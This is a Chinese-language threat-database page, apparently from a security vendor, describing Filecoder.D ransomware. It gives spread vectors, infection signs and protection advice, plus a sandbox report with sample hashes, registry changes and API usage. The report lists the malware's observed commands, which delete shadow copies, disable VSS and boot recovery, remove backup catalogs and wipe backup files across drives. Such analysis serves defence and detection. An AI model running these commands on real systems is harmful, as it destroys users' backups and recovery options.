威胁数据库 勒索软件 Filecoder.D 勒索软件

Filecoder.D 勒索软件

威胁评分卡

威胁级别: 100 % (高的)
受感染的计算机: 84
初见: January 24, 2013
最后一次露面: October 19, 2026
受影响的操作系统: Windows

Filecoder.D 勒索软件是一种危险的文件加密威胁,它以 Windows 计算机为目标,旨在锁定受害者的文档、照片和其他个人文件,直至支付赎金。该恶意软件被评为最高级别的危险等级,已在实际环境中存在很长时间,从 2013 年初到最近的活动均有记录,表明它仍然是一个活跃的威胁,安全研究人员仍在持续追踪它。

Filecoder.D 勒索软件的作用

Filecoder.D 一旦在系统中激活,就会扫描本地驱动器,查找有价值的文件类型(例如文档、图像、PDF 和 Microsoft Office 文件),并使用强大的加密算法对其进行加密,使得攻击者必须拥有特殊的解密密钥才能读取数据。该恶意软件利用 Windows 加密库来执行此过程,因此如果没有备份,手动恢复文件将极其困难甚至不可能。

这种威胁的一个特别具有破坏性的行为是试图删除卷影副本(VSS),这是Windows内置的一项功能,允许用户恢复文件的先前版本。通过运行删除卷影副本的命令并禁用相关的系统服务,该勒索软件确保受害者无法轻易使用Windows自带工具恢复加密数据,从而加大支付赎金的压力。它还可能尝试与系统服务和进程交互,以禁用安全工具或确保自身能够以管理员权限运行。此外,它还被发现会在执行过程中使用PowerShell等脚本组件,这是现代勒索软件家族常用的策略,目的是将其伪装成合法的系统活动。

传播方式

与大多数勒索软件一样,Filecoder.D 通常依赖欺骗性的传播方式,而非单一的固定传播渠道。此类威胁的常见感染途径包括伪装成发票或文档的恶意电子邮件附件、垃圾邮件中的感染链接、利用未修补软件漏洞的攻击工具包、来自不可信网站的捆绑下载以及盗版软件或破解应用程序。用户可能在不知情的情况下,因打开恶意文件或启用受感染文档中的宏而触发感染。

用户面临的风险

Filecoder.D 感染的后果可能非常严重。受害者可能会永久丢失一些不可替代的文件,例如家庭照片、财务记录和工作文档,尤其是在没有备份的情况下。除了数据丢失之外,支付赎金并不能保证攻击者会提供有效的解密密钥,而且这样做只会助长进一步的犯罪活动。受感染的系统还可能出现性能下降、安全功能失效以及更容易受到其他恶意软件攻击等问题。

感染迹象

用户应注意以下情况:文件突然无法访问或显示异常扩展名;桌面或文件夹中出现勒索信息;系统性能明显下降;意外弹出付款要求;以及卷影副本或备份还原点丢失。系统服务或脚本工具无故运行的异常活动也可能是警告信号。

如何做好防护

为了降低勒索软件感染的风险,用户应定期将重要文件备份到外部或离线位置,确保操作系统和所有软件都已更新到最新的安全补丁,避免打开来自未知或可疑电子邮件的附件或链接,并且不要下载盗版软件。运行信誉良好的安全软件、启用防火墙保护以及谨慎使用办公文档中的宏也是至关重要的步骤。维护最新的备份仍然是无需支付赎金即可从勒索软件攻击中恢复的最可靠方法。

分析报告

一般信息

姓: Filecoder.D Ransomware
签名状态: No Signature

已知样本

MD5: b10a7ece58207d3caecff1e7a3c33647
SHA1: 0568f740a0fcfc1506700f54136d341a351c51a5
SHA256: 9B1B6DC7878A1A9E2BDF659CA21DC62B16618B4C228B1E571757DF8772A2047F
文件大小: 678.91 KB,678912字节

Windows 可移植可执行文件属性

  • File doesn't have "Rich" header
  • File doesn't have exports table
  • File doesn't have resources
  • File doesn't have security information
  • File has TLS information
  • File is 32-bit executable
  • File is either console or GUI application
  • File is GUI application (IMAGE_SUBSYSTEM_WINDOWS_GUI)
  • File is Native application (NOT .NET application)
  • File is not packed
显示更多
  • IMAGE_FILE_DLL is not set inside PE header (Executable)
  • IMAGE_FILE_EXECUTABLE_IMAGE is set inside PE header (Executable Image)

文件特征

  • HighEntropy
  • No Version Info
  • x86

区块信息

总区块数: 2,658
潜在恶意块: 109
白名单区块: 2,549
未知区块: 0

可视化地图

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... 数据已截断
0 - 可能的保险箱
? - 未知区块
x - 潜在恶意拦截

文件已修改

文件 属性
\device\namedpipe\dav rpc service Generic Read,Write Data,Write Attributes,Write extended,Append data
\device\namedpipe\pshost.134367906788192588.6460.defaultappdomain.powershell Generic Read,Write Data,Write Attributes,Write extended,Append data,LEFT 524288
\device\namedpipe\wkssvc Generic Read,Write Data,Write Attributes,Write extended,Append data
c:\users\user\appdata\local\temp\__psscriptpolicytest_qeb0kbvh.thf.ps1 Generic Write,Read Attributes
c:\users\user\appdata\local\temp\__psscriptpolicytest_umqkfmxb.r1n.psm1 Generic Write,Read Attributes

注册表修改

键::值 数据 API名称
HKLM\software\microsoft\windows\currentversion\policies\system::enablelinkedconnections  RegNtPreCreateKey
HKCU\software\microsoft\windows\currentversion\run::msfeeditor "c:\users\user\downloads\0568f740a0fcfc1506700f54136d341a351c51a5_0000678912" e RegNtPreCreateKey
HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe 몯㢼廦ǝ RegNtPreCreateKey
HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe 榃㤋廦ǝ RegNtPreCreateKey
HKLM\system\controlset001\services\bam\state\usersettings\s-1-5-21-3119368278-1123331430-659265220-1001::\device\harddiskvolume2\windows\system32\conhost.exe ᗑ㥚廦ǝ RegNtPreCreateKey

Windows API 使用情况

类别 API
Service Control
  • ControlService
  • OpenSCManager
  • OpenService
  • StartService
Process Shell Execute
  • CreateProcess
  • WinExec
  • WriteConsole
Process Manipulation Evasion
  • NtUnmapViewOfSection
Syscall Use
  • ntdll.dll!NtAlertThreadByThreadId
  • ntdll.dll!NtAlpcSendWaitReceivePort
  • ntdll.dll!NtApphelpCacheControl
  • ntdll.dll!NtClearEvent
  • ntdll.dll!NtClose
  • ntdll.dll!NtConnectPort
  • ntdll.dll!NtCreateEvent
  • ntdll.dll!NtCreateFile
  • ntdll.dll!NtCreateMutant
  • ntdll.dll!NtCreateSection
显示更多
  • ntdll.dll!NtCreateSemaphore
  • ntdll.dll!NtDuplicateObject
  • ntdll.dll!NtEnumerateValueKey
  • ntdll.dll!NtFreeVirtualMemory
  • ntdll.dll!NtMapViewOfSection
  • ntdll.dll!NtOpenFile
  • ntdll.dll!NtOpenKey
  • ntdll.dll!NtOpenKeyEx
  • ntdll.dll!NtOpenProcessToken
  • ntdll.dll!NtOpenSection
  • ntdll.dll!NtOpenSemaphore
  • ntdll.dll!NtProtectVirtualMemory
  • ntdll.dll!NtQueryAttributesFile
  • ntdll.dll!NtQueryInformationProcess
  • ntdll.dll!NtQueryInformationThread
  • ntdll.dll!NtQueryInformationToken
  • ntdll.dll!NtQueryKey
  • ntdll.dll!NtQueryPerformanceCounter
  • ntdll.dll!NtQuerySecurityAttributesToken
  • ntdll.dll!NtQueryValueKey
  • ntdll.dll!NtQueryVirtualMemory
  • ntdll.dll!NtQueryVolumeInformationFile
  • ntdll.dll!NtReleaseMutant
  • ntdll.dll!NtReleaseWorkerFactoryWorker
  • ntdll.dll!NtRequestWaitReplyPort
  • ntdll.dll!NtSetEvent
  • ntdll.dll!NtSetInformationProcess
  • ntdll.dll!NtSetInformationVirtualMemory
  • ntdll.dll!NtSetInformationWorkerFactory
  • ntdll.dll!NtTestAlert
  • ntdll.dll!NtTraceControl
  • ntdll.dll!NtUnmapViewOfSection
  • ntdll.dll!NtWaitForAlertByThreadId
  • ntdll.dll!NtWaitForSingleObject
  • ntdll.dll!NtWaitForWorkViaWorkerFactory
  • ntdll.dll!NtWaitLowEventPair
  • ntdll.dll!NtWorkerFactoryWorkerReady
  • ntdll.dll!NtWriteFile
  • UNKNOWN
Anti Debug
  • IsDebuggerPresent
  • NtQuerySystemInformation
User Data Access
  • GetUserDefaultLocaleName
  • GetUserName
  • GetUserNameEx
  • GetUserObjectInformation
Process Terminate
  • TerminateProcess
Encryption Used
  • BCryptOpenAlgorithmProvider
Other Suspicious
  • AdjustTokenPrivileges

Shell命令执行

vssadmin delete shadows /all /quiet
net stop VSS & sc config VSS start= disabled
sc config VSS start= Demand & net start VSS
WriteConsole: DESCRIPTION:
wmic.exe SHADOWCOPY delete /nointeractive
显示更多
vssadmin.exe Delete Shadows /All /Quiet
vssadmin.exe Resize ShadowStorage /for=c: /on=c: /maxsize=401MB
vssadmin.exe Resize ShadowStorage /for=c: /on=c: /maxsize=unbounded
vssadmin.exe Resize ShadowStorage /for=d: /on=d: /maxsize=401MB
vssadmin.exe Resize ShadowStorage /for=d: /on=d: /maxsize=unbounded
vssadmin.exe Resize ShadowStorage /for=e: /on=e: /maxsize=401MB
vssadmin.exe Resize ShadowStorage /for=e: /on=e: /maxsize=unbounded
vssadmin.exe Resize ShadowStorage /for=f: /on=f: /maxsize=401MB
vssadmin.exe Resize ShadowStorage /for=f: /on=f: /maxsize=unbounded
vssadmin.exe Resize ShadowStorage /for=g: /on=g: /maxsize=401MB
vssadmin.exe Resize ShadowStorage /for=g: /on=g: /maxsize=unbounded
vssadmin.exe Resize ShadowStorage /for=h: /on=h: /maxsize=401MB
vssadmin.exe Resize ShadowStorage /for=h: /on=h: /maxsize=unbounded
bcdedit.exe /set {default} recoveryenabled No
bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
wbadmin.exe DELETE CATALOG -quiet
icacls.exe "{A-Z}:" /grant {Username}:F /T /C /Q
WriteConsole: {Username}
WriteConsole: :
WriteConsole: No mapping betwe
WriteConsole: Successfully pro
del /s /f /q c:\*.VHD c:\*.bac c:\*.bak c:\*.wbcat c:\*.bkf c:\Backup*.* c:\backup*.* c:\*.set c:\*.win c:\*.dsk
del /s /f /q d:\*.VHD d:\*.bac d:\*.bak d:\*.wbcat d:\*.bkf d:\Backup*.* d:\backup*.* d:\*.set d:\*.win d:\*.dsk
del /s /f /q e:\*.VHD e:\*.bac e:\*.bak e:\*.wbcat e:\*.bkf e:\Backup*.* e:\backup*.* e:\*.set e:\*.win e:\*.dsk
del /s /f /q f:\*.VHD f:\*.bac f:\*.bak f:\*.wbcat f:\*.bkf f:\Backup*.* f:\backup*.* f:\*.set f:\*.win f:\*.dsk
del /s /f /q g:\*.VHD g:\*.bac g:\*.bak g:\*.wbcat g:\*.bkf g:\Backup*.* g:\backup*.* g:\*.set g:\*.win g:\*.dsk
del /s /f /q h:\*.VHD h:\*.bac h:\*.bak h:\*.wbcat h:\*.bkf h:\Backup*.* h:\backup*.* h:\*.set h:\*.win h:\*.dsk
del %0
wbadmin.exe DELETE SYSTEMSTATEBACKUP
wbadmin.exe DELETE SYSTEMSTATEBACKUP -deleteoldest
powershell -command "Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete()